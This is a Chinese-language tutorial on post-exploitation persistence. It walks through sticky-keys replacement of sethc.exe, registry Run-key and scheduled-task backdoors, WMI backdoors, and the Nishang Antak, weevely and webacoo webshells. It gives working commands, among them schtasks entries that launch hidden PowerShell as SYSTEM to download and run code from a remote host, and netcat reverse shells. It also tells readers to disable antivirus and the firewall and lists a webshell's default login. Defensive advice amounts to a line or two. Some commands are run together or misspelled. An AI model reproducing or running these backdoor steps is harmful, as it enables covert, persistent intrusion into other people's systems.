權限維持分析
前言
專注是做事成功的關鍵,是健康心靈的特質。當你與所關注的事物融為一體時,就不會讓自己縈繞于焦慮之中。專注與放松,是同一枚硬幣的兩面而已。一個人對一件事只有專注投入才會帶來樂趣。一旦你專注投入進去,它立刻就變得活生生起來。
后門,本意就是指在建筑物的背面開設的門,通常比較隱蔽。在信息安全領域。后門是指通過繞過安全控制措施獲取對程序或系統ti訪問權限的方法。簡單地說,后門就是一個留在目標主機上的軟件,它可以使攻擊者隨時與目標主機 進行連接。在大多數連接下,后門是一個運行在目標主機上的隱藏進程。因為后門可能允許一個普通的、未經授權的用戶控制計算機,所以攻擊者經常使用后門來控制服務器。
一、操作系統后門分析與防范
操作系統后門,泛指繞過目標系統安全控制體系的正規用戶認證過程來維持對目標系統的控制權及隱匿控制行為的方法。系統維護人員可以清除操作系統中的后門,以恢復目標系統安全控制體系的正規用戶的認證過程。
1. 粘滯鍵后門
粘滯鍵后門是一種比較常見的持續控制方法。
在windows主機上連續按5次“shift”鍵,就可以調出粘滯鍵。windows的粘滯鍵主要是為無法同時按多個按鍵的用戶設計的。例如,在使用組合的鍵“ctrl+p“時,用戶需要同時按下”ctrl“+”p” 兩個鍵,如果使用粘滯鍵來·實現組合鍵”ctrl+p“的功能,用戶只需要按一個鍵。

用可執行文件serhc.exe.bak 替換 windows\system32 目錄下的粘滯鍵可執行文件sethc.exe在Empire下也可以簡單地實現這一功能。
輸入“usemodulelateral_movemnet/invoke_wmi_debuggerinfo” 命令可以使用該模板,輸入info命令可以查看具體的參數配置。
set Listener testxset ComputerName WIN7-64.admin.testxset TargetBinary sethc.exe
實驗1:
第一步:設置管理員所有
這個實驗極其簡單,只需要做一點點小小的設置。首先找到sethc.exe文件,然后點擊屬性,選擇所有者,編輯,選擇當前所有者為Administrator。
第二步:全部勾選
讓Administrator擁有完全控制權限,這樣就可以對它進行改名字,或者刪除。建議改名字,做完實驗再改回來。

第三步:復制cmd.exe
復制一份cmd.exe文件,改名成sethc.exe,這樣就大功告成了。

第四步:測試看看
可以在任何地方,任何時候,連續敲擊5次「shift」,就會彈出cmd.exe命令行窗口。

2.防范措施
針對粘滯鍵后門,可以采取如下防范措施
1.在遠程登錄服務器時,連續按5次“shift”鍵,判斷服務器是否被入侵
2 注冊表注入后門
在普通用戶權限下,攻擊者會將需要執行的后門程序或者腳本路徑填寫到注冊表鍵HKCU:Software\Microsoft\Windows\CurrentVersion\Run中(鍵名可以任意設置)。當管理員登錄系統時,后門就會運行,服務端反彈成功。
實驗環境:
服務端:Kali
客戶端:Win7
建議:關閉殺毒軟件,關閉防火墻,不然實驗可能不成功
第一步:進入模塊
進入這個agent(interact testx)
進入模塊(usemodule persistence/userland/registry)

第二步:配置環境
下配置(set Name testx)
下配置(set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run)

第三步:重啟電腦

第四步:測試看看

注冊表注入后門防范措施
殺毒軟件對此類后門有專門的查殺機制,當發現系統中存在后門時會彈出提示框。根據提示的內容,采取相應的措施,即可刪除此類后門。
3. 計劃任務后門
計劃任務在Windows 7 及之前版本的操作系統中使用at命令調用,在從Windows 8 版本開始的操作系統中使用schtasks命令調用。計劃任務的后門分為管理員權限和普通用戶權限兩種,管理員權限的后門可以設置更多的計劃任務。
schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1
使用schtasks /delete /tn updater即可刪除.
1.在metsaploit中模擬計劃任務后門
使用Metasploit的powershell Payload Delivery 模板,可以模擬攻擊者在目標系統中快速建立會話的行為。因為該行為不會被寫入磁盤,所以安全防護軟件不會對該行為進行檢測。

2.在目標系統中輸入生成的后門代碼,生成新的會話

3.目標機子訪問網址,即可得到 session

4.拿到權限。
(1)用戶登錄
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onlogon /ru System
(2)系統啟動schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onstart /ru System
(3)系統空閑schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onidle /i 1
2.在powersploit中模擬計劃任務后門
使用PowerShell版本的PowerSploit滲透測試框架的Persistence模塊,可以模擬生成一個自動創建計劃任務的后門腳本上傳到目標后,導入腳本
Import-Module .\Persistence.psm1
如下命令,使用計劃任務的方式創建后門。該后門會在計算機處于空閑狀態時執行,執行成功后會生成名為Persistence.ps1的腳本
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdleAdd-Persistence -FilePath ./shuteer.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
Shutter.ps1是計劃任務要執行的payload 可以執行如下生成該文件
3.在Empire中模擬計劃任務后門
usemodule persistence/elevated/schtasks
set DailyTime 10.30set Listener testexecute
4. WMi型后門
WMI型后門只能由具有管理員權限的用戶運行。WMI型后門通常是用PowerShell掃描的可以直接從新的WMI屬性中讀取和執行后門代碼、給代碼能。通過這種方法,攻擊者可以在系統中安裝一個具有持久性的后門,且不會在系統中門外的任何文件。WMI 型后使用了 WMI 的兩個特征,即無文件和無進程。其基本原理是:將代碼存儲存儲于WMI中,達到要求的“無文件”;當設定的條件被滿足時,系統將自動啟動PowerShell進程去后門程序,執行后,進程將消失(持續根據后門的運行情況而定時間,一般是幾秒)。帝國下的Invoke-WMI模塊可以實現這種后門的利用。
WMI型后門主要利用了WMI的兩個特征,即無文件和無進程。其基本原理為:將代碼加密存儲于WMI中,實現無文件;當設定的條件被滿足時,系統將自動啟動PowerShell進程去執行后門程序,執行后,進程將會消失,實現無進程。
可以使用Empire的Invoke-WMI模塊,該模塊允許完后,WMI后門就已經存在于目標主機,目標主機重啟,后門即會觸發。
實驗:
1.首先開始提權

2.配置環境
進入模塊(usemodule persistence/elevated/wmi)
基本上不要配置,直接 run運行(和 execute一樣)
得到下面的提示,基本上就成功了一半

3.驗證環境
進入目標機器上,驗證wmi
在powershell中直接輸入下面的命令
結果中可以看到 CommandLineTemlate中的內容包含 powershell.exe
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter “Name=’Updater’”

4.重啟目標機器

二、 web后門分析于防范
web后門俗稱webshell,是一段asp,asp.NEt、 php、jsp 程序的網頁代碼。這些代碼都運行在服務器上。攻擊者會通過一段精心設計的代碼,在服務器上進行一些危險的操做,以獲去某些敏感的技術信息,或者通過滲透和提權來獲得服務器的控制權。IDS、殺毒軟件和安全工具一般都將攻擊者設置的web后門檢測出來。
1. NIShang下的webshell
Nishang是一款針對PowerShell的滲透測試工具,集成了框架、腳本(包括下載和執行、鍵盤記錄、DNS、延時命令等腳本)和各種Paylaod,廣泛應用于滲透測試的各個階段。
Nishang中也存在ASPX的大馬。該模塊在\nishang\Antak-WebShell目錄下,使用該模塊,可以進行編碼、執行腳本、上傳/下載文件等,
基本流程:
正向shell:客戶端想要獲得服務端的shell
先彈shell就是正向shell,后連接
先監聽&彈shell(nc -lvp 23333 -e /bin/sh)
后連接(nc 192.168.160.140 23333)
-------
反向shell:服務端想要獲得客戶端的shell
后彈shell就是反向shell,先監聽
先監聽(nc -lvp 23333)
后客戶端上線(nc 192.168.160.140 23333 -e /bin/sh)
實驗環境:
服務端:windows7(testx@192.168.160.135)
客戶端:windows7(testx@192.168.160.139)
Import-Module .\nishang.psm1
生成payload
Invoke-PoshRatHttp -IPAddress 192.168.160.135 -Port 10101

powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.160.135:10101/connect'))
Nishang的webshell(Antak)
將Nishang的antak.aspx文件,放在ISS網站中
然后訪問網站中的antak.aspx文件(出現登陸頁面)
Nishang的antak用戶名:Disclaimer
Nishang的antak密碼:ForLegitUseOnly
這個人很賊,全網都找不到密碼,無奈之下翻看這個apsx文件
在注釋里面找到用戶名和密碼,果然需要黑客思維才能破局
結果用戶名是:免責聲明,密碼是:僅供合法使用的英文

登陸成功,進入歡迎頁面
antak.aspx本身就是webshell文件
輸入help,可以得到幫助信息

輸入ls,可以查看網站的目錄結構
也就是說我們已經拿到網站的權限了
點擊download,可以下載網站的重要文件
點擊upload the file,可以上傳木馬文件
2 weevely后門
weevely是一款用Python語言編寫的針對PHP平臺的WebShell,主要功能有:
執行命令和瀏覽遠程文件
檢測常見的服務器配置問題
創建TCP shell和Reverse Shell
掃描端口
安裝HTTP代理
1.基本用法

2.常見命令
weevely [cmd]:連接一句話木馬weevely session [cmd]:加載會話文件weevely generate :生成后門代理 1.weevely generate test /root/桌面/test.php
1.實驗
2.訪問一下。
3.使用weevely命令進行連接。
weevely http://192.168.1.2/test/test.php test

補充:
一些常用命令及功能:? audit_phpconf:審計PHP配置文件? audit_suidsgid:通過SUID和SGID查找文件? audit_filesystem:用戶進行錯誤權限審計的系統文件? audit_etcpasswd:通過其它方式獲取的密碼? shell_php:執行PHP命令? shell_sh:執行shell命令? shell_su:利用su命令提權? system_extensions:收集PHP和Web服務器的延伸列表? system_info:收集系統信息? backdoor_tcp:在TCP端口出生成一個后門? sql_dump:導出數據表? sql_console:執行SQL查詢命令或者啟動控制臺? net_ifconfig:獲取目標網絡的地址? net_proxy:通過本地HTTP端口設置代理? net_scan:掃描TCP端口? net_curl:遠程執行HTTP請求? net_phpproxy:在目標系統中安裝PHP代理
3.webbacoo后門
webacoo(Web Backdoor Cookie)是一款針對PHP平臺的We后門工具,最新版已去除,老版本的kali自帶
webacoo -h

webacoo -g -o /home/x/xx.php

查看生成的php后門

將生成的后門文件上傳到目標服務器后使用如下命令連接webshell,連接成功后,可以使用load命令查看模塊,并可以進行上傳、下載、連接數據庫等操作,exit退出
webacoo -t -u http://127.0.0.1/test.php

總結
后門是權限維持的重要一步,要想持續控制,就得做一些后門上去,后門是繞過安全控制獲取對程序或系統訪問權限的方法。此篇文章主要介紹一些常用的生成后門的方式,以及如何進行防御后門。